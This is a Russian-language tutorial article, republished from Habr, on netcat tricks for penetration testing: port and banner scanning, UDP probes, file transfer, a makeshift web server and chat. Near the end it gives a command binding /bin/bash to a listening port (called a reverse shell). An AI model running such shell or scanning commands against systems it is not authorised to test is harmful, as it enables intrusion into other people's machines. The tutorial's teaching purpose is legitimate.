- PVSM.RU - https://www.pvsm.ru -
В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.
Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.
С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.
Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:
$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused
$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH
$ nc -vnz 192.168.1.100 20-24
При таком сканировании не будет соединение с портом, а только вывод успешного соединения:
nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82<CONNECTED,PREFERRED>
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 [tcp/*] succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused
Для сканирования UDP портов с помощью nmap необходимы root привелегии. Если их нет — в этом случае нам тоже может помочь утилита netcat:
$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 [udp/*] succeeded!
$ echo -n "foo" | nc -u -w1 192.168.1.100 161
Это может быть полезно при взаимодействии с сетевыми устройствами.
$ nc -u localhost 7777
После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:
$ while true; do nc -u localhost 7777; done
Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:
nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt
Netcat может выполнять роль простейшего веб-сервера для отображения html странички.
$ while true; do nc -lp 8888 < index.html; done
C помощью браузера по адресу: http://хост [1] netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:
$ while true; do sudo nc -lp 80 < test.html; done
На первом узле (192.168.1.100):
$ nc -lp 9000
На втором узле:
$ nc 192.168.1.100 9000
После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.
С помощью netcat можно организовать удобный реверс-шелл:
nc -e /bin/bash -lp 4444
Теперь можно соединиться с удаленного узла:
$ nc 192.168.1.100 4444
Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.
Автор: Лука Сафонов
Источник [2]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/263003
Ссылки в тексте:
[1] http://хост: http://%D1%85%D0%BE%D1%81%D1%82
[2] Источник: https://habrahabr.ru/post/336596/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.